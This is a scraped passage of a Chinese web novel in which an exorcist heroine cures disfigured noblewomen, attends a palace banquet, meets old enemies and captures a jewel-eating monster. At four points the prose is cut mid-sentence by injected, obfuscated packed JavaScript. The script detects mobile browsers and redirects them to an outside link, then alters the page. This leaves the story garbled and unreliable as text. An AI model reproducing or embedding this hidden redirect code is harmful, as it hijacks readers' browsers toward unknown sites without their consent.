而阿婵则去找了禾阳县主。有了狈负蛇做药引,加上禾阳县主专业制药的人力物力帮忙,效率会高很多。 “太好了,没想到这么快你就找到了药引,这下贵女们终于可以彻底治好了。” 叶逢君惊喜道,她还从未见过传说中的上古妖物,拿着阿婵交给她的狈负蛇左看右看,爱不释手。 阿婵表面上尽力装出一副财迷心窍的样子,“还请县主在玥宜公主面前美言几句,以后若是有什么捉妖的需求,想着我些。” 叶逢君也是爽快人,不由莞尔:“放心,我明日便进宫和公主汇报此事。等药制好了,公主的赏赐一定是少不了的,这次你这么快就找到了如此难寻的药引,以后委托你办事的贵人也会不少,你就等我好消息吧。” “那就多谢县主了。” *** 蓬莱春。 等待禾阳县主消息的时间里,阿婵静卧休养,但她一向脑子闲不住,即便是养伤,也要进行下一步的规划。 谢慕游端了一碗药进来,见阿婵又在桌案前写写画画,不由得大呼小叫:“哎呀,你怎么不好好补眠,看看你的脸,这几天都累瘦了!” “我回程的时候在马车上睡得还不错。” “什么?马车上那么颠簸,怎么能睡得不错?我不信,你是不是累晕过去了?” 阿婵手中的笔一顿,不由得想到马车上自己靠着霍彦先沉睡的场景。 确实是颠簸,也确实是累,但也确实睡得香,一点警惕性都没有了,实在是太不应该,下次得避免。 她又不由得想到,霍彦先肩膀那个高度,确实靠着挺舒服的。这么多年来,自己身边从没有如此高身量的人让自己倚靠过,竟不知道这样靠着睡得香。 不如之后做一个和霍彦先肩膀一边高的棉花巨枕放在床头,若是晚上入睡困难,不用再彻夜看书练功,可以靠着睡一下试试,说不定能缓解自己这不寐症。 随即她摇了摇头,按捺住这些乱七八糟的想法,反复告诫自己下次在外面千万不能再睡得这么不设防。 谢慕游看阿婵一会儿皱眉一会儿摇头,面色奇怪地泛红,脸上表情有些异样,担心地问:“你这是怎么了,是不是又头疼不舒服了?” 阿婵这才回神,不动声色岔开话题:“没事,在想之后公主会赏赐多少钱财。” 一提到钱财,谢慕游眼中就放光,商人本色暴露无遗。 “这次有玥宜公主帮你打响名号,以后何愁桓安显贵不上门求你办事,还有禾阳县那边的人,估计有的你忙了,钱是不愁。 而且这些可都是人脉,得好好拓展维护一下,随便哪个人随口一句话,说不定都能找到当年案情的线索。 当然最重要的,还是玥宜公主这边,你得好好巴结巴结她,最好能隔三差五给她搞点美颜药膏什么的送进宫,这样你进宫打探就方便了。” 阿婵点点头,谢慕游说的也正是她心中所想。 进宫打探没有那么容易,玥宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368137|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主这边是一条线,桓安显贵的人脉也都是消息来源,但她还是希望,能有个长期名正言顺的进宫理由。 目前只能走一步看一步,先把这次进宫的机会利用好。 当下,她将远在丽娘那边照看的东仓使者召唤来,让它准备进宫打探的事。 之前她已经按照猫妖的查探,将宫中的地形图描绘了出来。现在她需要东仓使者试一试,看它能不能进入那些连猫妖都去不了的禁地,比如——卷宗库的秘密结界。 *** 做好进宫前的准备,阿婵自然也要关心一下楼映真和煜王那边的进度。 不过没让她等很久,楼映真得知她回到桓安,便自己找上门来。 “居士,听说你已经找到了可以彻底将蚀颜蛊解开的药引了?” “楼娘子消息倒是颇为灵通。” 楼映真不好意思地笑笑,其实是煜王从平海镇平乱回来,自玥宜公主处得知此事,便立刻告诉她让她开心的。 “不知道解药何时能够制好?” “娘子不必心急,解药已经在加急制作中了,既然娘子已知晓此事,想必到时候也能第一时间拿到解药。” 阿婵并不戳穿她和煜王之间的事,自己全当一个“上道儿”的局外人,不该好奇的不问,沉着气,楼映真不说开的事,她便不说话。 随后,楼映真有一搭无一搭地和阿婵聊着解药制好之后的疗程,以及各种养颜补身体的方法,但阿婵看得出,她对于解药已经势在必得,心思并不放在这上面。 最后,楼映真终于没话可聊了,吞吞吐吐开口道,“不知闻寰居士这里……可有那种……令男子对女子死心塌地的药物……” 阿婵皱眉,“要如何死心塌地?” 楼映真神色有些羞赧,“就是那种服用之后,心中只喜欢我一人的那种……” “你说的这种鬼迷心窍的药,该是云疆的蛊虫,我这里不曾有,就算有,我也不建议娘子使用。” 阿婵淡笑着提醒楼映真,“用药炮制出来的真心,迟早会变质。” 楼映真神色一凛,连忙正色道:“居士教训的是,映真不该动这些歪心思。” 随后,她便匆匆告辞离开。 *** 回到新宅院,楼映真便命婢女拿来纸笔,写了一封信给之前她在西北经商时熟识的道长。 她要问问他,认不认识云疆的同行,有没有什么不伤身体又能令男子死心塌地的方法。 人挪活,树挪死。闻寰居士那里求不成,就换一处,只要有钱,何愁找不到她需要的药。 虽然煜王自平乱回来,心情很好,和她愈发蜜里调油。他的心思并不难拿捏,而自己日后若是给他添了子嗣,再用钱财在事业上给他添些助力,地位应该是稳固的。 但总归日后两人接触的时间会越来越久,难保说话间没有什么纰漏,暴露她并非阿水,不得不防。 如果有什么方法能令煜王对她死心塌地,离不开她,那么,她是不是阿水又有什么关系呢? 她需要一个一劳永逸的方法。 101. 进宫 转眼,狈负蛇所制药膏只施用了两天,便将禾阳贵女被蚀颜蛊毁容的脸恢复得光洁如初。 阿婵也如愿收到了玥宜公主的邀请,参加庆祝宫宴。 此次玥宜公主打着嘉善皇后的名号,希望大家知道,皇室一直没有放弃为天下女子谋福祉。 所以这一次的宫宴上,不仅有禾阳县主、上次被毁容的禾阳县贵女们,全桓安的贵女也受邀出席,场面十分盛大。 但因楼映真并非贵女身份,此次并未出席,阿婵相信,煜王应该已经第一时间从玥宜公主那里将制好的药膏拿回去给她用上了。 宫宴上,玥宜公主赏赐了阿婵很丰厚的财物,除了千两白银,绫罗绸缎。另有一些太医院珍藏的罕见药材,以鼓励阿婵在道医之路上继续精研。 “闻寰居士,你此次帮助禾阳贵女寻找药引,治愈罕见病症有功,还想要什么赏赐,都可以跟本宫说。” 阿婵自然不敢居功:“多谢公主殿下,某本就以捉妖道医为业,此番能够帮助众贵女消灾解难,是我分内之事。” 有些话,她不便说,需要玥宜公主替她来说。 玥宜公主自然也知道,这闻寰居士和江湖上的道士僧人没有什么区别,即便是修为道法高深,也需要攀附权贵,借势将自己的名声垫上更高的台阶。 但她几次接触下来,发现这闻寰居士也确实有些真本领,母后生前就一直对她说,女子生存不易,要善于发掘民间有本事才干的女子,这样既不辜负她们的聪明才智,又能够为天下女子树立榜样。 禾阳县主叶逢君,便是母后从民间发掘的一位奇女子。 如今,自己也要向母后学习,给民间有真本领的女子更多展示的机会。 故而,玥宜公主也不吝啬,在宴席上将阿婵大夸特夸一番,并且最后着重说: “闻寰居士不仅擅长捉妖,而且精研道医,于女子驻颜术一道也有十分丰富的经验,诸位若日后有需求,大可以去找闻寰居士聊一聊。” 阿婵倒是对玥宜公主刮目相看。 这公主显然因为自己和霍彦先有接触,一直把自己当成假想敌。但在捉妖找药引的事上并没有为难自己,反而对自己的各种要求都尽力满足,此刻还不吝口舌,帮助自己开拓人脉。 可见她只是有些少女怀春的心思,人并不坏,心中还甚有格局。看来嘉善皇后教导女儿有方,今日这份心意她领了,日后必会相还。 …… 此次宫宴氛围轻松,宴席过半,公主、禾阳县主和一众贵女都离席,三五成群开怀畅聊。 今日之后,这段时间住在宫中的禾阳贵女们便会返回家中。所以阿婵也抓紧时间,借此机会,用一些护身符、养颜药膏等贴心小物在贵女们面前极力“推销”自己。 果不其然,效果显著。 宴席还未结束,“生意”便找上了门。 阿婵觥筹交错到十分口渴,中途抽空喝茶之际,有人便悄悄找到她。 “闻寰居士,可否借一步说话?” 阿婵闻言回头,说话的是一位桓安贵女,名叫夏忆桐,她神神秘秘的,似是有些难言之隐。 阿婵立刻从善如流,和夏忆桐走到宴席殿外走廊,一处安静的角落。 “闻寰居士,方才听说你捉妖法术高强,最近我家中刚好发生了些不对劲的事情,能不能等宫宴结束后,请你随我回家看一看。” “当然可以,怎么回事,先和我说说看。” 原来,这位贵女也算桓安高门大户,家中颇有资财。 最近,她府上祖母、母亲、姑嫂、以及她自己妆奁中的很多名贵珠宝都莫名失踪了。 起初,大家都以为是自己粗心,便没有对外声张,但后来珠宝连续丢失,家人们私下说起来,才知道原来每房都有丢失,大家就觉得可能是府中奴仆手脚不干净。 但这很不寻常,因为府中奴仆基本都是家养多年,且训练有素,管束严格,以前也从未发生偷盗珠宝之事。 出了这样的事,家主母肯定要尽快解决,夏忆桐的母亲便是家主母,她十分发愁,让管家和管事嬷嬷私下调查,也均没有查出奴仆有什么嫌疑。 就快要报官之际,一日夜间,管家半夜出恭,发现院子里似乎有人影,那人影有些僵硬怪异,他以为是自己没睡醒眼花,但瞬间想到可能是偷盗珠宝的贼人,连忙大声呵斥。 那人影听到管家大喝一声,被惊动,一回头,管家看到他的脸,却登时吓晕了过去,直到第二天天亮才被奴仆发现躺在院中。 据管家回忆,那人面部、脖颈均十分干瘪,像是一个大活人被吸干了血肉,皮肉紧紧贴在骨头上,极其类似骷髅,月下一回头,双眼黑洞洞的,十分骇人。 身上的衣服泥污破烂不堪,空荡荡地被骨头架子支着,行动姿势也十分诡异,胳膊腿的关节似被钉住,走路时好似提线傀儡。 阿婵听她的描述,心中有了谱,这是僵尸。 她遇到阿菀那次,就是去桓安显贵府上后院掘开土地挖陈年僵尸来着。 可僵尸好好地躺在棺材里,若是没有外物刺.激,一般只有心中怨气极重,才会诈尸出来作祟,而且作祟一般都是吓人杀人之类的,还没听说有僵尸偷盗珠宝的事情发生过。 如果不是因为心中怨气不平,那就还有一种可能,是被谁操控的。 夏忆桐也心有余悸地说出自己的亲身经历。 “本来府中是有巡夜侍卫的,但那晚不知道为什么,全都没有发觉。 自管家撞到那东西之后,我们又增加了巡夜侍卫的数量,本以为惊扰了它,它就不会来了。 但第二日晚上,我睡着觉却迷迷糊糊醒来,发现房中又有动静,隔着床帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381374|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看到一双细骨伶仃的手臂影子映在床帘之上,在梳妆台前挑挑拣拣,动作很慢,一顿一顿的。 当时我大气都不敢出,也不敢叫外面的婢女,怕惊扰它,把婢女也害死,就躲在床角一整晚。 等到天亮去外间一看,婢女们都在沉睡,妆奁里新添置的珠宝果然又不翼而飞了。” 阿婵听完问道,“你身上是否佩戴了什么辟邪的东西?” “有的,有的,这是灵骅寺开过光的吊坠。”夏忆桐忙从颈间掏出一个小小的玉质佛像吊坠。 她恍然,“怪不得当时我醒了,是这吊坠发烫把我烫醒的!” “嗯,你没失去意识,就是因为灵骅寺这开过光的法物在护着你。” 阿婵又安慰她道:“别担心,只要那东西不是冲着伤人性命来的,就好处理,宫宴一结束,我便立刻随你回府查探。” 她又拿出一张符箓,塞给夏忆桐,“你将这平安符贴身收好。” 夏忆桐听了阿婵的话,拿着平安符,似是吃了定心丸。 想了想,而后又补充道:“而且居士,我本以为只有我家是这样,但我有个好姐妹,她家是桓安最大的珠宝商,最近也一直遭贼光顾,丢了许多珠宝,我担心是不是也是那东西,但她一直没有看到过……” 阿婵一听,感觉这趟能挣不少,整个人也更积极起来,“正好,我一起看。” 事情聊得差不多了,二人回到宫殿中。 过了一会儿,便到了今日宴席最后的环节——公主邀请众贵女一同去御花园中赏花。 御花园很大,有各种奇珍花草,大家便分散开来,各自结伴欣赏。 阿婵见机会来了,故意拉开距离,落在众人后面,准备悄悄让东仓使者行动,却看到了热闹。 花园一角传来惊呼,一个婢女模样的人,端着一只盛满荔枝的水晶碗,她正走着,突然被地砖绊了一下,两颗荔枝从碗中滚落在地,被正巧经过的贵女不小心踩到。 那婢女脸色一变,上去就冲着贵女发难,“你走路都不看着吗!这是我家夫人精心准备的荔枝,千里迢迢从荔南府快马运来的,准备一会儿给公主享用的,每一颗都价值千金,你竟敢踩烂两颗!” “对不起!对不起!是我有些头晕,一时没看清脚下,冲撞了姐姐,我赔,多少钱我都赔!” “要不怎么说禾阳来的就是粗鄙,进宫之前都不学学规矩吗?怎么走路不长眼,好歹今日没有冲撞公主,不然有得你好受。 可这荔枝也是白白祸害了,你说这些荔枝都是有数的,到时候公主不够吃,问起来,这可怎么办啊……” 阿婵定睛看去,婢女之后姗姗而来的女子……呵,她早该想到,这么蛮不讲理嚣张跋扈的语气,必然是老熟人—— 庄菡。 果然什么样的主子养什么样的奴才! 102. 仇人重逢 那禾阳贵女阿婵之前接触过,姓柴,不过十六岁,是个谨小慎微的性子,此时面对骄纵跋扈的庄菡主仆,简直大气都不敢喘,身子都在发.抖。 这个庄菡,还真是十年如一日,一点都没变,阿婵心中腹诽。 罢了,熟人再相遇,岂有不送见面礼之说? 当下她便放出躁动不安的东仓使者,东仓使者像松鼠一般悄悄爬到旁边的树上,纵身一跃—— 啊啊啊啊啊! 庄菀只觉眼前一黑,一个什么东西从树枝上一瞬间压到自己的头顶,待睁眼看,一只硕大的老鼠竟趴在自己脸上!毛茸茸、乌漆嘛黑的! 而且不知道是不是自己的错觉,一瞬间,她竟觉得那老鼠在笑!眼神中还充满恶作剧般的嘲讽! 庄菡直觉吓得赶紧甩头,用手扒拉脸,想把老鼠甩掉,整个人左摇右晃一下失去平衡,直接跌倒在那柴娘子的脚下。 又来!这熟悉的感觉让庄菡一下想起十年前,那时她也总是莫名其妙地摔跤! 这突如其来的变化,让柴娘子直接懵了,不知如何是好,愣愣地看着庄菡和婢女大呼小叫乱作一团。 突然,一只手直接将柴娘子一把拉到后面。 柴娘子定睛一看,原来是禾阳县主,贴近她耳边说“去那边”。她这才如梦初醒,连忙假装什么都没看见,一溜烟跑了。 禾阳县主和一众禾阳贵女,刚才往这边赏花,也注意到了她们的动静。听庄菡言语里瞧不起她们,众禾阳贵女当下也护着柴娘子赶紧离开这是非之地,去找公主,留长袖善舞的禾阳县主来处理此事。 待到庄菡摔得七荤八素,扶着发髻被婢女扶起来的时候,她发现不远处,走来了一.大群人。 不止是玥宜公主和贵女们,竟然还有圣人、陈贤妃、煜王、霍彦先和虞屹安! ??? !!! 她真是眼前一黑一黑又一黑! 原来玥宜公主特意选在今夜让大家宴席之后来逛御花园,是有原因的。 刚刚宫人来报,嘉善皇后生前手植的昙花于今夜开花,圣人也抽空来陪玥宜公主一起赏花。 桓帝来御花园,顺便也叫上了陈贤妃,以及刚商议完政事的煜王、霍彦先和虞屹安。 叫上陈贤妃,是因为众多贵女在这里,圣人要避嫌。大桓的男女之防不严重,但桓帝并不想让人误会自己有私心。 而叫上煜王、霍彦先和虞屹安,一是因为阮云薇出事,煜王妃之位空缺,圣人身为父亲,也是难得为这三儿子操心了一回婚姻大事。 此外,也是想让霍彦先和虞屹安这两个朝中万年老光棍,借此机会,和贵女们接触一下,看看有没有中意的人选。 可十分不巧,这阵仗却让形容狼狈的庄菡赶上了。 眼看众人浩浩荡荡往这边来,庄菡是又惊又怒,又羞又气,一肚子邪火无处可撒!再看那老鼠,早就已经跑的没影了! 可圣人即刻就要走到面前,而自己如此狼狈,乃是大不敬,她只能忍着气,赶紧整理仪容,躲到花园拐角处,恨不得自己能隐身。 圣人还在其次,可那虞屹安竟然也在! 庄菡年轻时择夫婿,曾经看走眼,放走了虞屹安,结果他高中状元,被自己的庶妹庄菀占到了大便宜。 庄菀虽然死得早,但虞屹安对她一往情深,眼看着位极人臣,却一直没有再娶。 起初庄菡心里这疙瘩一直过不去,对虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384392|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屹安没有好脸色,但后来嫁了人,虞屹安也一路高升,父亲劝自己和他搞好关系。 她听话了,也纡尊降贵低声下气地和虞屹安示好,打算让那段混乱的前尘往事就这样过去,日后一家子和和气气来往。 可虞屹安呢,平日里对她虽表面温和有礼,但她清楚得很,这人实则全然不把自己放在眼里。 不放在眼里便罢了,自己还瞧不上他呢!还没当上中书令,摆什么臭架子!可庄菡也绝不允许自己今天这副鬓发衣衫散乱的窝囊样被虞屹安看到! 阿婵见庄菡气得咬牙切齿,面目扭曲,十分满意,装作看热闹的样子,走到同样看热闹的夏忆桐身边,故作谨慎好学道: “这位贵女是谁啊,好生厉害,宫里规矩确实不小,夏娘子快给我好好讲讲,免得到时候我冲撞了圣人公主贵妃大人们,那可不得了!” 夏忆桐当然知道庄菡一向如此飞扬跋扈,如今见她吃瘪心中也是畅快,但看阿婵真心请教的样子,还是给庄菡圆了场。 “这位是户部尚书庄孚义大人的嫡长女庄菡,最近可能她夫家出了些事,她免不了跟着着急上火,所以说话也急了些。居士跟在我身边就好,有需要注意的地方我会提醒你的。” 阿婵连忙道谢,而后化身八卦婆:“她夫家出了什么事,令她如此心焦?” 夏忆桐平常也是个爱打听的,看到阿婵这样问,忽然眼睛一亮,附在阿婵耳边道:“听说她公公中邪了……” 庄菡夫家出事?公公中邪? 这阿婵可就来了兴趣! 夏忆桐道:“我没有亲眼见到,但听小道消息说,好似她公公是患了一种被吸干血液的奇怪症状,一.夜之间,人就枯萎了。” 103. 焦骨魈 众人跟随圣人和玥宜公主,鱼贯前往御花园东南角的昙泽亭,欣赏夜色中盛开的昙花,赞颂嘉善皇后当年之仁德。 阿婵站在很后面,什么也看不到,她百无聊赖,只能将一路目之所及的御花园地形全部刻在脑海之中。 “夏娘子,对面的亭子为什么不让进?” 她发现御花园的布局整体呈四方形,四角各有一座亭子,其中三座都是可以进去乘凉歇脚的,但西南角那一座却是锁上的,就悄悄问旁边的夏忆桐。 “哦,那座是珍禽阁,听说是专门用来供养嘉善皇后曾经救下的上古神兽嗽金鸟的。” 竟是供养嗽金鸟的地方,阿婵一下便记起猫妖托梦的消息来,对于宫中的情报终于有了实感。 “真的有嗽金鸟?”阿婵故作震惊。 “怎么,连居士你都没有见过吗?”夏忆桐打趣道。 “上古神兽哪里是那么好遇到的,我也只能掉掉书袋,在古籍中看过嗽金鸟的样貌习性,它外形似山雀,怕霜雪,吃珍珠,会吐“辟寒金”。这嗽金鸟是祥瑞之兆,必是嘉善皇后仁德,才能有此奇遇。”阿婵也加入颂德队伍。 “可说是呢,嘉善皇后将嗽金鸟带回来之后,便一直供养在此处,听说就是以露水和珍珠供养的。皇后薨逝之后,圣人便常常到珍禽阁睹物思人。”夏忆桐悄悄在阿婵耳边说。 “原来如此,圣人对嘉善皇后真是故剑情深。”阿婵感叹。 二人正说着,突然御花园北面的北瑞门传来一阵骚动。 “抓刺客!” “有妖怪!” “护驾!护驾!” 众人皆惊,回头看去,只见北瑞门里窜出来一个黑影,直奔南面而来! 黑夜里看不真切,但那影子后面,跟着数十个追击的侍卫,以及好几个连滚带爬的宫人。 那影子窜得十分迅猛,霎时间便到了众人面前。 借着宫灯的烛火光亮,大家才看清,那黑影竟是个全身皮肤焦黑如炭,干枯如枝的怪物。 它背后插着一支箭,时不时回头看向身后追击它的侍卫,似是对这种背刺行为非常愤怒,但它的行动还是十分迅疾,似乎丝毫不感到疼痛。 趁它回头之际,众人看到它背后有一坨肉瘤,像是龟背,有龟裂开来的纹路,但周身却密布着野猪一样黑硬短粗的鬃毛。 众贵女花容失色,纷纷掩面惊呼。 霍彦先反应迅速,立刻提刀挡在圣人公主面前,并且命令随行侍卫迅速调整队形,“护驾!” 听到惊呼声,那怪物回过头来。 此时它奔得更近了些,众人看清了它的脸——焦黑一片的混沌五官中,只有两个黑洞洞的眼眶十分清晰,从眼眶往下延伸到脖颈处,有两排对称的尖利骨刺,尤其在夜晚的昏黄灯火映照下,可怖至极! 已经有胆小的贵女吓得面无血色,晕了过去。 霍彦先护着圣人、公主等一众人往后退,进入昙泽亭找掩体躲避,与此同时,那怪物如一道闪电,迅捷地破开西南角珍禽阁的大门。 阁中乒乒乓乓一阵嘈杂,伴着几声凄厉的啼鸣。 “嗽金鸟!朕的嗽金鸟还在里面。” 圣人早年也是征战沙场之人,当下还算镇定,只是看到那怪物闯入珍禽阁,脸色勃然大变! 追击的侍卫立刻一部分鱼贯进入珍禽阁,一部分在外堵截。不过一瞬,那怪物从珍禽阁东南方向的木窗破窗而出,手中还攥着一只鸟雀。 那鸟雀周身金羽红嘴,十分娇小,和山雀差不多大,此刻被那怪物紧紧抓着,极力挣.扎却动弹不得,几根鸟羽散落在地。 “嗽金鸟!是嗽金鸟!在它手里!”玥宜公主大惊失色,“快来人,把嗽金鸟给夺回来!小心别伤到它!” 母后薨逝后,父皇常常独自一人对着嗽金鸟睹物思人,一坐就是半天,千万不能让嗽金鸟被这怪物给伤到! 眼看那怪物快要掠到众人跟前,身后的侍卫放箭射它脑后。 却没想到,那怪物听到箭矢破空的声音,反应极快,头一偏,箭矢便擦着它的头飞射过去,而它呲出獠牙,顺手将箭矢一拨,那箭竟朝着圣人的方向射去! 众人大骇!!! 一瞬间,饶是身前有一排稀疏的侍卫,也挡不住刁钻飞来的箭矢。 陈贤妃瞬间跃出,将圣人挡在自己身后! 而在他们二人身前,虞屹安也挺身而出,护着圣人、公主和贵妃。 一旁布置防御阵型的霍彦先见状疾奔而来,抽出贯苍刀飞掷而出,将凌空飞至的箭矢劈成两半,卸了力道。 与此同时,夜空之中一道金色符箓破空而至。 阿婵瞬间甩出山蜘蛛丝,将那怪物缠住,符箓“啪”地一下贴在了它的脸上,阻挡了它的视线。 是焦骨魈! 阿婵心中奇怪,这妖物生性胆小,喜欢以金玉矿产珠宝为食,一向蜗居在矿脉地下,从不伤人性命,怎么会无缘无故闯进宫中? 联想到刚才夏忆桐所说府上连日珠宝被盗的怪事,阿婵下意识觉得有关联。 焦骨魈被山蜘蛛丝牢牢缠住,又被俘虏挡住视线,大怒挣.扎,凌空跃起,企 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393306|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图逃窜,一时顾不上手中攥着的嗽金鸟。 嗽金鸟骤然被放开,连声啼鸣,欲展翅飞翔,但它的翅膀似乎被焦骨魈的力道伤到了,一连扑腾了几下都使不上力,从空中往下掉,阿婵足尖一点,借力跃上,接过嗽金鸟往怀中一一揣,朗声道:“收!” 那边奋力逃窜,将山蜘蛛丝拉扯出好长一段的焦骨魈一下便被拽了回去。 众人只看到一道雾岚衫裙飞至珍禽阁檐角,以淡蓝色丝线将那龟背焦黑的怪物缠住,用力往地下一掷。 哗啦啦! 叮了咣啷! 顷刻间,地上零落掉下一堆东西。 众人定睛看去,好家伙,竟然是一地金银首饰,金镯、银簪、步摇、臂钏、项链、耳坠,还有玉镯玉佩因坠地碎成几片…… 大家惊讶非常,这到底是什么东西,竟然连金银珠宝都吃! 原来,阿婵这一甩看着轻盈,实则力道非常之大,焦骨魈被硬拍在地,五脏六腑瞬间被震伤,“哇”地一声大口呕吐起来。 阿婵猜测它可能是进宫来“觅食”,结果被阿婵这一甩一震,将满肚子里的“货”吐了个精.光。 只不过,那些金银珠宝沾着粘稠墨绿的胃液,令人作呕! 阿婵飞掠而下,将焦骨魈捆缚好,查看怀中的嗽金鸟,还好,只是翅膀有些挫伤,并不严重。 她走到圣人面前跪下,奉上嗽金鸟,“圣人,公主,焦骨魈已被收伏,嗽金鸟只是有些受惊,翅膀有些挫伤,养几天便好,并无大碍。” 圣人连忙越过人群,接过嗽金鸟。 那小小的嗽金鸟似是十分疼痛,扑扇几下翅膀,娇叱着试图钻进圣人手中,显然和圣人十分亲近,在撒娇。 圣人捧着嗽金鸟,满眼心疼,不住安抚,一面不忘对阿婵道谢:“高人便是玥宜常说起的闻寰居士吧,今夜你降妖有功,朕有重赏!” “多谢陛下。” 阿婵闻言起身,抬头看去,目光幽深。 圣人身边,站着陈贤妃、煜王、虞屹安,全是这些年她调查的老熟人们…… 好,很好。 十年前极力劝谏圣人将父亲斩首的人。 十年前将从楼上一跃而下的阿菀尸体抱在怀中嚎啕大哭的人。 终于,又见面了。 她忍不住攥紧了拳。 霍彦先将贯苍刀拾起,走到阿婵对面。 见她脸色又苍白起来,还紧攥着拳,他担心这一通折腾又牵扯到她的内伤。 霍彦先眼中尽是关切,可阿婵一脸正肃,并没有回看他。 104. 出风头 片刻后,大批宫廷卫尉赶到御花园,会同在场的侍卫一起清理现场,清点人数,并排除其他隐患。 桓帝、公主、陈贤妃、煜王、虞屹安,以及众贵女等人,进入宴席宫殿,暂时休息压惊。 宫中何时进过妖物?出了这样的事,卫尉头领感觉心中绝望,焦头烂额,还好有霍彦先在。 霍彦先已经不是第一次和妖物打交道,拜阿婵所赐,连处理事.后现场的流程都已经十分熟练,此刻和往常一样有条不紊地分配任务,这让卫尉头领也稍感心安,打起精神干活。 霍彦先正和一众侍卫清点人数。 “贵女们都在这里了吗?” “庄菡娘子不在这里!”不知谁喊了一声。 霍彦先皱眉抓住一个侍卫往殿外走:“赶紧去找!” 阿婵抿嘴,不知道鬓钗散乱、衣服脏污的庄菡此时整理好仪容没有,若是一会儿霍彦先问起来,她又该如何交代自己摔了个狗吃屎的问题? 转而又担心起东仓使者,好不容易安排它进宫查探,却又赶上宫中闹妖怪,到时候宫禁排查可别殃及到它。 但现在毫无动静,她也只能静观其变,一边想着,一边给受到惊吓晕倒的贵女服下清心丸。 “闻寰居士,你给我的这平安符十分有用!”禾阳贵女纪幼珊向阿婵道谢。 自从她用了玥宜公主所赐的药膏治好蚀颜蛊毒之后,便对这闻寰居士信服得五体投地。 虽然药膏是禾阳县主负责牵头制作的,但大家都知道,其中最重要的一味药引是闻寰居士亲自找来的,那是相当的有本事! 所以此次宴席,她也期盼了很久,希望能够跟闻寰居士当面道谢。 因为她之前本已许了人家,却被煜王妃下了那该死的蛊虫,万念俱灰只得称病退婚。但没想到,闻寰居士竟然找来罕见药引使她的容貌得以恢复如初! 父母写信来说,男方家对自己遭受无妄之灾很是谅解,得知她进宫是为了拿到药膏治脸,便承诺,等她治愈之后,婚事便继续推进。 她本人其实对这桩婚事也很满意,所以如今见男方家这样的态度,越发觉得自己嫁对了人,所以脸一治好,便开始着手准备婚事。 经过蚀颜蛊一事,纪幼珊对自己的容貌越发重视,很想要漂漂亮亮风风光光地出嫁,她真的迫切需要一些立竿见影的驻颜方子。 所以在宴席上她一看到闻寰居士有空,便主动上去攀谈,不仅跟闻寰居士预定了许多驻颜药粉、药膏、药香之类的,还因为蚀颜蛊的事,多留了个心眼,跟居士请了一些平安符,准备回禾阳带给父母家人以及男方亲属。 可巧,刚拿到平安符,宫中便闹了妖怪,她和另外两个禾阳贵女当时离那妖物距离十分近,一个吓晕了,一个沾染妖气太多也身体不适,只有自己毫发无伤,全赖这平安符,纪幼珊不仅暗暗夸赞自己聪明。 阿婵见她手中的平安符已经变黑,笑道,“怪不得你们三人站在一起,你身上一点妖气都没有,这张符箓已经替你挡灾,不能用了,交给我处理即可。” 纪幼珊赶紧掏出钱袋子,悄声问:“居士,能不能再给我补一张?” “自然可以。”阿婵便从怀中掏出一张符箓给她。 众贵女一看阿婵的平安符如此有用,便纷纷向阿婵讨要。 甚至之前在宴席上已经跟阿婵相谈甚欢,请过符箓的贵女,也嫌不够,纷纷凑上去多请几张。 霍彦先安排完御花园清查进度,过来汇报,一进门就两眼一黑。 他看到了什么?! 阿婵正满脸笑意地在大殿之中兜售分发符箓,一边发一边收钱! 因此次阿婵进宫就是为了结交人脉,所以她的准备可谓是“充足”至极。 不仅加班加点赶制各式符箓,带足了宴席人数的两倍之多,平安符尤其多。 此外一些方便试用的驻颜药膏也都被她分装在小小的药盒里面,就是为了方便宴席之上,交谈之间,给贵女们上手试用的。 这一趟确实没白来! 虽然此时圣人公主贵妃煜王都在,贵女们一个个矜持有礼得很,但她们心急请符还是引起了一阵小小的骚动。 桓帝也不说话,静静看着她们。 